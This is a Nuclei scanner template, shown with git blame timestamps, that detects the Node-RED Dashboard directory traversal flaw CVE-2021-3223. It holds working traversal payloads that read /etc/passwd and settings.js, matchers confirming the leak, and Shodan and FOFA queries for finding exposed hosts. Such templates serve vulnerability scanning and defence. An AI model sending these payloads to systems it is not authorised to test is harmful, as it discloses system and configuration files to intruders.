2021-06-24 12:07:17 +00:00
|
|
|
id: CVE-2021-3223
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Node RED Dashboard - Directory Traversal
|
2021-07-31 09:12:48 +00:00
|
|
|
author: gy741,pikpikcu
|
2021-06-24 12:07:17 +00:00
|
|
|
severity: high
|
|
|
|
description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-06-24 12:07:17 +00:00
|
|
|
- https://github.com/node-red/node-red-dashboard/issues/669
|
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 7.5
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-3223
|
|
|
|
cwe-id: CWE-22
|
2022-05-11 13:02:11 +00:00
|
|
|
metadata:
|
2022-05-11 13:09:39 +00:00
|
|
|
verified: true
|
|
|
|
shodan-query: title:"Node-RED"
|
2022-05-11 13:02:11 +00:00
|
|
|
fofa-query: title="Node-RED"
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2020,node-red-dashboard,lfi
|
2021-06-24 12:07:17 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
|
2021-07-31 09:12:48 +00:00
|
|
|
- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'
|
2021-06-24 12:07:17 +00:00
|
|
|
|
2021-08-01 19:41:43 +00:00
|
|
|
matchers-condition: or
|
2021-06-24 12:07:17 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
2021-08-01 19:41:43 +00:00
|
|
|
part: body
|
2021-06-24 12:07:17 +00:00
|
|
|
regex:
|
2021-07-24 21:35:55 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-07-31 09:12:48 +00:00
|
|
|
|
|
|
|
- type: word
|
2021-08-01 19:41:43 +00:00
|
|
|
part: body
|
2021-07-31 09:12:48 +00:00
|
|
|
words:
|
|
|
|
- "Node-RED web server is listening"
|